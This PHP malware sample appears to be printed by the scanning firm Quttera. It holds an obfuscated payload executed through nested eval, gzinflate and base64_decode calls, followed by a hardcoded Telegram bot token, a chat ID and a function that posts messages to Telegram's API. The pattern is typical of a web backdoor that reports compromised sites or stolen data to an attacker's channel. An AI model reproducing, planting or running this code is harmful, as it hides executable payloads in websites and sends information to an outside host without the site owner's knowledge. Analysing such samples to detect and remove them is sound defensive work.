$qOE9q0qdq5OoN6Tmq1lxzLY6 = 'eNoNzTeyo0AAANEDEcAMRhBsgPCDN8JlWIEQTnhOvz/uV9VDmK75OdKSQ1V6jT8bmo+QTMEsdghplaur2wS/5VUfw2ZZ7nPSVYsIOzh4NdKf5859V9xukNVkfsUF/umL4mbJFs6Cwm+xH3OyPM5LXB9SH0TPclf6ElIMaiBdx4CDOehKKrUhfu+9e/+oc2e5fdv9e98HUA7GiSDGLQxtB9ScahBvsmViKSZl0nUf6LOyrIN83A61vt8yqR72W0lH445ys7hfAfrpkU6ICVN8lzMHY+Cq5OC63KXJxpk0a+N51oEYRyRW95qA2OdXMTQiu3jddATG6z56GBg0jtivsAvf7BXOitvH2E/AxStpsrRGxkJ8+3zm3yIxi3jy0Y9prH2h68TCZ0Ppg7r7fBAfhfdx5GU2kiKv8leLJ5n8hV5HELif+5nCC+s28TPSwZupBDpsmzrPLI0QdkThImKXpLvvq4OF0Bm7e70Embp56O6LFyAj0Rn3KLCl7Bg1UCrdRwQDsYWd4t5dyPRppqNWC+62unGZ/zYZGRkoguL7UNehR+ajmnpglGdKGUIKWkZA/phsqhERv8xTDMviBrrYUis7QS6tND3e44uXS6Fh21aNf6QTrVB8WD3a9ekEUlLAV9jGRsT2vLkwRFgykxwgvv67fE3uWPWJb4GQw2+pZbcxixhbtjs7Z4luw4HHVXELZwNzmqF8DDGVC9D2g5OLDUecnGtzoQHOcFnVypvAYH5HSru2J2ZtKe7WuthyG0sf7zlwHrpzUKRS1xtjViuxczRgR/nqUda4BR9Oey9Zw6D4HGCJE4KmDh1XFYOP+ZAs0KxEgwdRUdFTxn22h30A5UJT6qnmRTLaZWuy28kzLCeTwTyK3jDeyB0yqI1oHSqGET5hxb6xb06fQL1RrVDzksnTHp3OkktzirzDTLIXYPNsc8tqczcfg7zThfDs0o6nFpgudWhN3RYpR9C26WjeL1erZXaJ1IS9UqbVYJR1hJ+RoiN5w5PrnsnJdcgoeFCEeHgLqJbEwnz74ZOLY8BU889u5DPqXPkQb+dT02FdZfJ12J3PSQa1hI6hmwnTOEabPRUQMiGRCXZeXFKTt1KYBxVtU8Er57+tnBTUQhZPAiN/pV6GYgaBt6N+04R0cCSdq59WApd+LumJRZdQT+w56F5i0nMhCTjEJH0+FeBeibGs+8epPldZAKV9vVtrxst3QMr6YC1QiR/CX2Ftp7clVnOAbIWklHmhZc7Ael+iIbKodHm8AZ0n0qzG40Exg2OX6EoipkoPMO/a2ZSd1Hlxf/w3/FrnsLxZ3sU2jyGu9NGJJhqu4RixxDul9iEoy3x733Gz7t0ahJgWmfKzv0eIH9q//8WruGQ=';
eval(gzinflate(base64_decode(gzuncompress(base64_decode($qOE9q0qdq5OoN6Tmq1lxzLY6)))));
$telegram_bot_token = '5371075700:AAFGCBebiDX2nO_fjidLnGF_VtG6HU5WnC8';
$telegram_chat_id = '-1002257370109';
$enable_telegram_notification = true;
function sendTelegramNotification($token, $chatId, $message) {
if (empty($token) || empty($chatId) || strpos($token, 'YOUR_') !== false || strpos($chatId, 'YOUR_') !== false) {
error_log("Telegram Notification Error: Bot Token or Chat ID is not configured correctly.");
return false;
}
$message = htmlspecialchars($message, ENT_QUOTES, 'UTF-8');
$apiUrl = "https://api.telegram.org/bot{$token}/sendMessage";
$params = [
'chat_id' => $chatId,
'text' => $message,
'parse_mode' => 'HTML'
];
if (function_exists('curl_init')) {
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $apiUrl);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($params));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_TIMEOUT, 10);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, true);
$response = curl_exec($ch);
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
$curlError = curl_error($ch);
curl_close($ch);
if ($response === false || $httpCode >= 400) {
error_log("Telegram Notification cURL Error: Code={$httpCode}, Error='{$curlError}', Response='{$response}'");
return false;
}
return true;
} elseif (ini_get('allow_url_fopen')) {
$options = [
'http' => [
'header' => "Content-type: application/x-www-form-urlencoded\r\n",
'method' => 'POST',
'content' => http_build_query($params),
'ignore_errors' => true,
'timeout' => 10
]
];
$context = stream_context_create($options);
$response = @file_get_contents($apiUrl, false, $context);
if ($response === false || strpos($http_response_header[0], '200 OK') === false) {
error_log("Telegram Notification file_get_contents Error: Headers='".implode(', ', $http_response_header ?? [])."', Response='{$response}'");
return false;
}
return true;
} else {
error_log("Telegram Notification Error: cURL extension is not loaded AND allow_url_fopen is disabled in php.ini. Cannot send notification.");
return false;
}
}
© 2023 Quttera Ltd. All rights reserved.